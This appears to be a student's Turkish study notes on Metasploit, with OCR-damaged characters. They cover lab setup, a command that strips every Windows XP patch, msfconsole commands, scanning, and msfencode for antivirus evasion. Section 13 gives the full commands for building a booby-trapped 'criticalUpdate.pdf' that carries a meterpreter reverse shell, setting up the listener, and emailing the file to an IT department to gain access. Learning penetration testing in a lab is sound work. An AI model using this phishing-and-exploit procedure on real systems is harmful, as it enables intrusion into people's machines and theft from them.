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adresindeki makaleye calisilarak elde edilen notlarimi kapsamaktadir. Bu ¢ikarilan notlar belgemde
alintilar ve/veya kisisel ilavelerim mevcuttur.



1)

Metasploit Framework giivenlik aciklarim1 bulmak ve bu aciklar dogrultusunda ne gibi sonuglarin
orataya ¢ikabilecegini gostermek icin kullanilan acik kaynak kodlu giivenlik programidir.
Metasploit 2003 yilinda HD Moore tarafindan Perl dili ile bir network oyunu olarak programlandu.
Daha sonra Ruby dili ile bagstan itibaren tekrar yazildi.
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2)

Ik saldirilacak hedef olarak Microsoft Windows belirtilmesine ragmen, acikliklar1 bulunan Ubuntu
isletim sistemi VirtualBox'a kurulmahdir. Baslangi¢ olarak Ubuntu 7.04 Server isletim sistemine
sahip x86 sanal makinasi tercih edilmelidir.

(Page 5)

3)
Windows XP'yi Hack'lenebilir Yapma Adimlar1

a. Yamalarin Kaldirilmasi
1. Denetim Masasl
2. Windows Firewall : OFF
3. Otomatik Giincellemeler : Kapali
4. Giivenlik Merkezi : Uyari tercihlerinin degisimi, sol tarafta bulunan biitiin tecihlerin
secimleri kaldirilmalidir.
. Program Ekle - Kaldir : Giincellemeleri goster, yiiklenilen biitiin giincellemeleri gosterir.
. Denetim Masasi, dosya secenekleri icerisinde “Goriintiileme” tercihinin altinda en altta
bulunan “Basit Dosya Paylasimim Kullan” yanindaki secenegi kaldirilmali ve Tamama
basilmalidir.
7. Biitlin yamalarin kaldirilmasi ve yeniden baslatma i¢in, komut satirindan asagidaki komut
girilmelidir :

o Ul

C:\>dir /a /b c:\windows\$ntuninstallkb* > kbs.txt && for /f %i in (kbs.txt) do cd
c:\windows\%i\spuninst && spuninst.exe /passive /norestart && ping -n 15 localhost
> nul

8.VM yeniden baglatilarak kaldirilma islemi tamamlanir.

b. Eklenecek Servisler
1. Internet Information Services (IIS)
2. Simple Network Management Protocol (SNMP)
3. SQL Server 2005 Express

(+) Bu servisleri Program Ekle Kaldir->Windows Bileseni Ekle'dekileri komple secip Windows
XP (Dandik) CD'siyle yiikleyerek dahil edebilirsin.
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4)

Metasploit Framework'iiniin kullanilabilmesi i¢in bir¢ok arayiiz vardir. Her arayiiziin kendisine ait
giiclii ve zayif yanlar1 olmakla beraber MSF arayiizii i¢lerinden en ¢ok ragbet gorenidir.

MSF'in Yararlar1
a. Konsol bazhdir.
b. Metasploit Framework'{iniin ¢ogu icerigine sahiptir ve en stabil ortamdir.

c. Tab tusu ile otomatik tamamlama 6zelligine sahiptir.
d. MSF'a ait olmayan sistem komutlarinin MSF arayiiziinden girilmesine izin verir. (e.g.

ping)
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5)

Tab tusu ile komut tamamlama 6zelligi linux isletim sistemlerinin en biiyiik 6zelliklerinden biridir.
Bu 6zelligi MSF console da kullanmaktadir.
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6)
MSF Konsol Komutlar1
a. “help” komutu
> help
ya da
>7
Yukaridaki her iki komut ile de yardim meniisii goriintiilenebilir. Bu meniide
kullanilabilecek msf console komutlar ve agiklamalar yer alir.
b. “show” komutu

Metasploit framework'iinde yiiklii tiim Encoder'lari, NOP Generator'lar1, Exploit'leri,
Payload'lar1 ve Auxiliary'leri alt alta siralamaya yarar.

> show
i) “show exploits” komutu
Sadece yiiklii exploit'leri ekrana basar.

> show exploits



ii) “show payloads” komutu
Sadece yiiklii payload'lar1 ekrana basar.
> show payloads

NOT: Eger bir exploit segilmisse ve bu exploit secili vaziyetteyken show payloads
denmisse bu durumda sadece secilen exploit'e uygun payload'lar siralanir.

iii) “show options” komutu
Eger bir exploit secilmisse exploit'in (moduliin) set edilebilecek parametrelerini
gosterir. Eger exploit sonrasi bir de payload secilmigsse bu durumda hem exploit'in
hem de payload'un set edilebilecek parametrelerini gosterir.
> show options

iv) “show targets” komutu

Secilen exploit'in ise yaradig isletim sistemlerini siralar. Exploit secildikten sonra
kullanilmalidir. Aksi takdire [-] No exploit module selected uyarisi verir.

> show targets

v) “show advanced” komutu
Secilen exploit ya da payload iizerinde ince ayar yapmaya yarar. Kullanildiginda
ekrana gelismis ayar degiskenlerinin ad1 ve tuttuklar1 degerler siralanir. Bu
degiskenler set komutu ile set edilebilmektedir.
> show advanced

c. “search” komutu

MSF Console genisletilmis regular expression kullanimina sahiptir. Aranilacak modiil
(exploit) ya da auxiliary hakkinda az buguk bilgi sahibi isen search komutu ile arayabilirsin.

Orn;
> search ms09-001 // ms09_001_write bulur.

NOT: MSF modiilleri (exploit'leri) “-” isareti degil, “_” isareti kullanmaktadir.

d. “info” komutu
Belirli bir modiil hakkinda agiklayici bilgiler sunmaya yarar.
Orn;

> info exploit/windows/smb/ms08_067_netapi



e. “use” komutu
Istenilen exploit ya da Auxiliary'yi se¢mek icin kullanilir.

> use dos/windows/smb/ms09_001_write

f. “connect” komutu
Hedef host'a telnet, netcat gibi baglantilar kurabilmek icin kullanilir.
> connect 192.168.0.13 23

Output:
[*] Connected to 192.168.1.1:23
yyyyyy'yuyt
DD-WRT v24 std (c) 2008 NewMedia-NET GmbH
Release: 07/27/08 (SVN revision: 10011)

y
DD-WRT login:
g. “set” komutu
Kullanilan modiile ait 6zellikleri configure etmek icin set komutu kullanilir.
Orn;

>set RHOST 192.168.1.3

h. “setg” komutu
Her msfconsole'u kapatista set edilen degiskenler yok olmaktadir. Bunlar kalici hale
getirmek icin global degiskenler kullanilabilir. Boylelikle msfconsole'u sonraki agista hedef
bilgileriniz degismemis sekilde var olacaktir.

Orn;

> setg LHOST 192.168.0.13
LHOST => 192.168.0.13

> setg RHOST 192.168.0.14
LHOST =>192.168.0.14

> save
Saved configuration to: /root/.msf3/config



i. “exploit/run” komutlar1
Exploit'leri calistirmak igin exploit secildikten sonra exploit komutu kullanilir. Fakat
Auxiliary modda calisirken exploit'leri aktif hale getirmek icin “exploit” komutunu
kullanmak yerine run komutunu kullanmak daha dogrudur.
Orn;

msf auxiliary(ms09_001_write) > run

Output:
Attempting to crash the remote host...

j- “back” komutu
Bir modiil segildikten sonra secimi iptal etmek igin back komutu kullanilir.
Orn;
msf auxiliary ( ms09_001_write ) > back
msf >
k. “resource” komutu

Harici bir dosyada yer alan Ruby gibi kodlarin ¢alistirllmasini saglar. (Hi¢ denenmedigim
icin bu komut biraz flu benim igin).

> resource kodlar.rb

1. “irb” komutu
irb komutu ile msfconsole icerisinde ruby shell yapisina gecilebilmektedir.

> irb

[*] Starting IRB shell...

>> puts "Hello, metasploit!" // Ruby kodu kullaniliyor.
Hello, metasploit! // Ruby ciktisi ekrana geliyor.



m. “hosts” komutu

Msfconsole'da hedef tahtasina oturtulmus host'lar1 siralar.

> hosts

Output
Hosts
address name 0s_name 0S_Sp purpose
192.168.0.19 PENTEST-WINXP Windows XP  SP2 client
193.140.9.6 Windows 7 client

n. “services” komutu
Hedef tahtasina oturtulmus servisleri siralar.
> services

Output:
Services

host port proto name state infor

193.140.9.6 80 tcp http open Microsoft HTTPAPI httpd 2.0
193.140.9.34 80 tcp http open Apache-Coyote/1.1
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7)
The Dradis Framework

Sizma testi gerceklestirirken sahsi ya da ekip ¢calismasi sirasinda elde edilen verilerin ortak bir
havuzda toplanmasini saglayan bir uygulamadir. Dradis Kali'de yiiklii olarak gelmektedir.
Applications->Kali Linux->Reporting Tools->Documentation->Dradis seklinde gidilerek Dradis
calistirilabilir.
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8)

Msfconsole icerisinde Nmap gibi bircok tarama programi bulunmaktadir. Asagida nmap haricindeki

port tarayan programlarinin bulunusunu gérmektesiniz:

> search portscan
[*] Searching loaded modules for pattern 'portscan'...

Auxiliary

Name Description
scanner/portscan/ack TCP ACK Firewall Scanner
scanner/portscan/ftpbounce FTP Bounce Port Scanner
scanner/portscan/syn TCP SYN Port Scanner
scanner/portscan/tcp TCP Port Scanner

scanner/portscan/xmas TCP "XMas" Port Scanner
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9
Servis Belirleme

Nmap disinda kullanilabilecek olan Metasploit'e 6zgili bircok tarama programi vardir. Bunlari
msfconsole'un auxiliary'lerinde bulabilirsin.

> search auxiliary Ascanner
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10)
Yapilandirmas: varsayilanda birakilmig FTP server'lar iizerinden network'e sizilabilir.
> use auxiliary/scanner/ftp/anonymous

> set RHOSTS 193.140.9.6/24
> run

(page 20)

11)

Metasploit'in yeteneklerinden bir tanesi de payload iiretebilmektir. msfpayload komutu bu ise yarar.
Bu komut araciligiyla C gibi bircok dille istenilen payload iiretilebilir.
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12)

Antivirus programlarina yakalanmadan exploit ¢alistirabilmek i¢in msfencode modiilii
calistirlmahdir.

> msfencode -h
Var olan encoder'lar1 gérmek icin asagidaki komut kullanilmahdur:
> msfencode -1
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13)
Zararh PDF Olusturma ve Meterpreter Kullanabilme
IT departmaninin mail adresleri tespit edilir. Ardindan zararh pdf olusturulur:

msf > use exploit/windows/fileformat/adobe_utilprintf

msf exploit(adobe_utilprintf) > set FILENAME criticalUpdate.pdf

msf exploit(adobe_utilprintf) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(adobe_utilprintf) > set LHOST 192.168.0.18 // Kali TP

msf exploit(adobe_utilprintf) > set LPORT 4455

msf exploit(adobe_utilprintf) > exploit

[*] Creating 'criticalUpdate' file...
[+] criticalUpdate.pdf stored at /root/.msf4/local/criticalUpdate.pdf

Yukarida criticalUpdate adli bir pdf olusturulmustur ve bu pdf'e meterpreter payload'u yiiklenmistir.
Bu zararh pdf kurbana génderilmeden 6nce baglantinin dinlenebilmesi icin handler exploit'inin
kullanilmas1 gerekmektedir.

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 4455

msf exploit(handler) > set LHOST 192.168.0.18 // Kali IP
msf exploit(handler) > exploit

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler
[*] Starting the payload handler...

Artik pdf'i mail'den IT departmanindaki kisilere gonderebiliriz. Kurban pdf'i acacagi zaman komut
satirimiza meterpreter payload'u gelecektir.
meterpreter >

Boylelikle meterpreter komutlar1 kullanilabilecektir. Bu arada pdf kurban tarafindan kapatilsa dahi
meterpreter kullamima agik kalacaktir.
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